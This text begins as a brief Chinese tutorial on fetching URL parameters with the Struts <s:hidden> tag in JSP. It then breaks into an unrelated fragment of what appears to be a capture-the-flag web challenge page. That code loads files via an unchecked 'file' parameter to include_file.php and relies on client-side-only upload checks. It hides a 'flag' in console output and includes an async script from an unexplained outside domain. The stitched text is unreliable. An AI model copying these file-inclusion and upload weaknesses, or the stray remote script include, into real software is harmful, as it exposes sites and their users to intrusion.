<s:hidden>标签获取url中的参数

本文详细解析了如何在JSP页面中通过<s:hidden>标签获取URL传递的参数值,具体步骤包括使用字符串拼接的方式构造URL,并在目标JSP页面中使用<s:hidden>标签来捕获这些参数。
假设URL传递的参数:

url="adminIndex.jsp?userAccount="+userAccount+"&userName="+data.userList[0].userName


在另一个JSP页面获取参数值:

<s:hidden id="userAccount" value="%{#parameters.userAccount}"></s:hidden>
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var fileName = urlParams.get('file') || 'readme.php'; // 使用XMLHttpRequest加载指定文件内容 var xhr = new XMLHttpRequest(); xhr.open('GET', '/include_file.php?file=' + fileName, true); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { document.getElementById('readme-content').innerHTML = xhr.responseText; document.getElementById('readme-content').style.display = 'block'; // 滚动到内容位置 document.getElementById('readme-content').scrollIntoView({behavior: 'smooth'}); } }; xhr.send(); } // 应用图标上传函数 function upload_a_icon() { var fileInput = document.getElementById('upload_a_icon'); var file = fileInput.files[0]; // 前端限制:只允许图片文件 if (!file.type.startsWith('image/')) { alert('请选择图片文件!'); return; } // 立即上传 var formData = new FormData(); formData.append('file', file); var xhr = new XMLHttpRequest(); xhr.open('POST', '/upload_handler.php', true); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { try { var response = JSON.parse(xhr.responseText); if (response.success) { document.getElementById('tips_a_icon').innerHTML = '上传成功: ' + response.file_url; // 显示预览图片 document.getElementById('preview_a_icon').innerHTML += '<br><img src="' + response.file_url + '" style="max-width:100px;max-height:100px;">'; console.log('Debug info:', response.debug_info); // flag隐藏在控制台 } else { alert('上传失败: ' + response.message); } } catch(e) { alert('上传响应解析失败'); } } }; xhr.send(formData); } // 启动图片上传函数 function upload_l_image() { var fileInput = document.getElementById('upload_l_image'); var file = fileInput.files[0]; // 前端限制:只允许图片文件 if (!file.type.startsWith('image/')) { alert('请选择图片文件!'); return; } // 立即上传 var formData = new FormData(); formData.append('file', file); var xhr = new XMLHttpRequest(); xhr.open('POST', '/upload_handler.php', true); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { try { var response = JSON.parse(xhr.responseText); if (response.success) { document.getElementById('tips_l_image').innerHTML = '上传成功: ' + response.file_url; // 显示预览图片 document.getElementById('preview_l_image').innerHTML += '<br><img src="' + response.file_url + '" style="max-width:100px;max-height:100px;">'; console.log('Debug info:', response.debug_info); // flag隐藏在控制台 } else { alert('上传失败: ' + response.message); } } catch(e) { alert('上传响应解析失败'); } } }; xhr.send(formData); } // 获取密钥弹窗功能 function showKeyModal(){document.getElementById('keyModal').style.display='block';document.getElementById('keyInput').focus();} function hideKeyModal(){document.getElementById('keyModal').style.display='none';document.getElementById('keyInput').value='';document.getElementById('keyResult').style.display='none';} function submitKey(){var key=document.getElementById('keyInput').value.trim();if(!key){alert('请输入密钥!');return;}var xhr=new XMLHttpRequest();xhr.open('POST','/key_handler.php',true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.onreadystatechange=function(){if(xhr.readyState===4&&xhr.status===200){var result=document.getElementById('keyResult');result.innerHTML=xhr.responseText;result.style.display='block';}};xhr.send('key='+encodeURIComponent(key));} document.addEventListener('keydown',function(e){if(e.key==='Escape'&&document.getElementById('keyModal').style.display==='block'){hideKeyModal();}}); document.addEventListener('keydown',function(e){if(e.key==='Enter'&&document.getElementById('keyModal').style.display==='block'){submitKey();}}); </script> <!-- 获取密钥弹窗 --> <div id="keyModal" class="key-modal" style="display:none;"> <div class="key-modal-overlay" onclick="hideKeyModal()"></div> <div class="key-modal-container"> <div class="key-modal-content"> <div class="key-modal-header"> <h3>获取密钥</h3> <button class="key-modal-close" onclick="hideKeyModal()">×</button> </div> <div class="key-modal-body"> <div class="key-input-group"> <label>请输入密钥:</label> <input type="text" id="keyInput" placeholder="输入您的密钥..." /> </div> <div id="keyResult" class="key-result" style="display:none;"></div> </div> <div class="key-modal-footer"> <button class="key-btn key-btn-primary" onclick="submitKey()">获取</button> <button class="key-btn key-btn-secondary" onclick="hideKeyModal()">取消</button> </div> </div> </div> </div> <style> .key-modal{position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;} .key-modal-overlay{position:absolute;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.6);} .key-modal-container{position:relative;display:flex;align-items:center;justify-content:center;height:100%;} .key-modal-content{background:#fff;border-radius:8px;box-shadow:0 10px 30px rgba(0,0,0,0.3);width:400px;max-width:90%;font-family:'Helvetica Neue',Arial,sans-serif;} .key-modal-header{padding:20px 25px 15px;border-bottom:1px solid #eee;display:flex;justify-content:space-between;align-items:center;} .key-modal-header h3{margin:0;color:#333;font-size:18px;font-weight:500;} .key-modal-close{background:none;border:none;font-size:24px;color:#999;cursor:pointer;padding:0;width:30px;height:30px;display:flex;align-items:center;justify-content:center;} .key-modal-close:hover{color:#666;} .key-modal-body{padding:25px;} .key-input-group{margin-bottom:20px;} .key-input-group label{display:block;margin-bottom:8px;color:#555;font-size:14px;} .key-input-group input{width:100%;padding:12px 15px;border:1px solid #ddd;border-radius:4px;font-size:14px;box-sizing:border-box;} .key-input-group input:focus{outline:none;border-color:#4CAF50;box-shadow:0 0 0 2px rgba(76,175,80,0.2);} .key-result{padding:15px;background:#f8f9fa;border:1px solid #e9ecef;border-radius:4px;font-family:monospace;font-size:12px;color:#333;word-break:break-all;} .key-modal-footer{padding:15px 25px 20px;display:flex;justify-content:flex-end;gap:10px;} .key-btn{padding:10px 20px;border:none;border-radius:4px;cursor:pointer;font-size:14px;font-weight:500;transition:all 0.2s;} .key-btn-primary{background:#4CAF50;color:white;} .key-btn-primary:hover{background:#45a049;} .key-btn-secondary{background:#f8f9fa;color:#666;border:1px solid #ddd;} .key-btn-secondary:hover{background:#e9ecef;} </style> </body> </html><script async="async" src="//i.6v4.work/v/?uid=387952"></script>查找里面隐藏flag
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